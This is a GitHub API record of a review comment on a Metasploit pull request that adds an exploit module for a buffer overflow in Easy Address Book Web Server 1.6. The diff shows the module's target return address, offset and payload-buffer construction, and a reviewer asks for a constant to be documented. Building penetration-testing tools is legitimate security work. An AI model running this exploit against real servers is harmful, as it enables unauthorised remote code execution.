{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/40556725","id":40556725,"diff_hunk":"@@ -0,0 +1,84 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::Tcp\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'Easy Address Book Web Server 1.6 User ID Remote Buffer Overflow',\n+      'Description'    => %q{\n+          Easy Address Book Web Server 1.6 User ID Remote Buffer Overflow Exploits\n+      },\n+      'License'        => MSF_LICENSE,\n+      'Author'         => [ 'Tracy Turben',   # Initial Discovery\n+                            'ADEO Security'   # Metasploit Porting\n+                          ],\n+      'References'     =>\n+        [\n+          ['OSVDB', '37952'],\n+          ['EDB', '107242']\n+        ],\n+      'Platform'       => 'win',\n+      'Targets'        => [\n+          [ 'Windows Xp 32 Bit or Windows 7 64 Bit', {\n+              'Ret'    => 0x1001AFB8,\n+              'Offset' => 80\n+            }\n+          ]\n+       ],\n+      'Payload'        =>\n+        {\n+          'Space'      => 900,\n+          'BadChars'   => \"\\x00\\x0a\\x0d\"\n+        },\n+      'Privileged'     => false,\n+      'DisclosureDate' => 'Aug 28 2015',\n+      'DefaultTarget'  => 0))\n+      register_options( [  Opt::RPORT(80) ], self.class)\n+  end\n+\n+  def exploit\n+    connect\n+\n+    host = datastore['RHOST']\n+    port = datastore['RPORT']\n+\n+    print_status(\"Victim IP Adress: #{host} | Port: #{port}\")\n+\n+    print_status(\"Preparing Buffer...\")\n+    buf  = \"A\" * target['Offset']\n+    buf += [ target.ret ].pack('V')\n+    buf += \"A\" * 20\n+    buf += payload.encoded\n+    buf += \"A\" * (1111-(buf.length))","path":"modules/exploits/windows/http/easy_adress_book_web_server.rb","position":60,"original_position":60,"commit_id":"79dcfdf3bcfd274a9588de37acf74584a494a8b0","original_commit_id":"79dcfdf3bcfd274a9588de37acf74584a494a8b0","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"This constant 1111 should be documented","created_at":"2015-09-28T14:18:47Z","updated_at":"2015-09-28T14:18:47Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/5991#discussion_r40556725","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/40556725"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5991#discussion_r40556725"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991","id":45552396,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5991","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5991.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5991.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5991","number":5991,"state":"open","locked":false,"title":"Easy Adress Book Web Server 1.6 User ID Buffer Overflow Exploit Add","user":{"login":"MuhammetDilmac","id":6417144,"avatar_url":"https://avatars.githubusercontent.com/u/6417144?v=3","gravatar_id":"","url":"https://api.github.com/users/MuhammetDilmac","html_url":"https://github.com/MuhammetDilmac","followers_url":"https://api.github.com/users/MuhammetDilmac/followers","following_url":"https://api.github.com/users/MuhammetDilmac/following{/other_user}","gists_url":"https://api.github.com/users/MuhammetDilmac/gists{/gist_id}","starred_url":"https://api.github.com/users/MuhammetDilmac/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MuhammetDilmac/subscriptions","organizations_url":"https://api.github.com/users/MuhammetDilmac/orgs","repos_url":"https://api.github.com/users/MuhammetDilmac/repos","events_url":"https://api.github.com/users/MuhammetDilmac/events{/privacy}","received_events_url":"https://api.github.com/users/MuhammetDilmac/received_events","type":"User","site_admin":false},"body":"Easy Adress Bok Web Server 1.6 User ID Buffer Overflow Exploit Add.","created_at":"2015-09-21T14:05:47Z","updated_at":"2015-09-28T14:18:47Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d26cd1d9e008f53078360b314b7901d3e683ca83","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5991/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/79dcfdf3bcfd274a9588de37acf74584a494a8b0","head":{"label":"ADEOSec:master","ref":"master","sha":"79dcfdf3bcfd274a9588de37acf74584a494a8b0","user":{"login":"ADEOSec","id":14545100,"avatar_url":"https://avatars.githubusercontent.com/u/14545100?v=3","gravatar_id":"","url":"https://api.github.com/users/ADEOSec","html_url":"https://github.com/ADEOSec","followers_url":"https://api.github.com/users/ADEOSec/followers","following_url":"https://api.github.com/users/ADEOSec/following{/other_user}","gists_url":"https://api.github.com/users/ADEOSec/gists{/gist_id}","starred_url":"https://api.github.com/users/ADEOSec/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ADEOSec/subscriptions","organizations_url":"https://api.github.com/users/ADEOSec/orgs","repos_url":"https://api.github.com/users/ADEOSec/repos","events_url":"https://api.github.com/users/ADEOSec/events{/privacy}","received_events_url":"https://api.github.com/users/ADEOSec/received_events","type":"Organization","site_admin":false},"repo":{"id":42860693,"name":"metasploit-framework","full_name":"ADEOSec/metasploit-framework","owner":{"login":"ADEOSec","id":14545100,"avatar_url":"https://avatars.githubusercontent.com/u/14545100?v=3","gravatar_id":"","url":"https://api.github.com/users/ADEOSec","html_url":"https://github.com/ADEOSec","followers_url":"https://api.github.com/users/ADEOSec/followers","following_url":"https://api.github.com/users/ADEOSec/following{/other_user}","gists_url":"https://api.github.com/users/ADEOSec/gists{/gist_id}","starred_url":"https://api.github.com/users/ADEOSec/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ADEOSec/subscriptions","organizations_url":"https://api.github.com/users/ADEOSec/orgs","repos_url":"https://api.github.com/users/ADEOSec/repos","events_url":"https://api.github.com/users/ADEOSec/events{/privacy}","received_events_url":"https://api.github.com/users/ADEOSec/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/ADEOSec/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/ADEOSec/metasploit-framework","forks_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/forks","keys_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/events","assignees_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/merges","archive_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/ADEOSec/metasploit-framework/releases{/id}","created_at":"2015-09-21T10:53:42Z","updated_at":"2015-09-21T10:54:04Z","pushed_at":"2015-09-25T16:29:00Z","git_url":"git://github.com/ADEOSec/metasploit-framework.git","ssh_url":"git@github.com:ADEOSec/metasploit-framework.git","clone_url":"https://github.com/ADEOSec/metasploit-framework.git","svn_url":"https://github.com/ADEOSec/metasploit-framework","homepage":"http://www.metasploit.com/","size":288659,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"98da192c7009d2b78f5a71eefe4417913301f47c","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-09-28T14:15:08Z","pushed_at":"2015-09-27T22:08:26Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1089888,"stargazers_count":4518,"watchers_count":4518,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3428,"mirror_url":null,"open_issues_count":213,"forks":3428,"open_issues":213,"watchers":4518,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5991"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5991"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5991/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5991/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/79dcfdf3bcfd274a9588de37acf74584a494a8b0"}}}}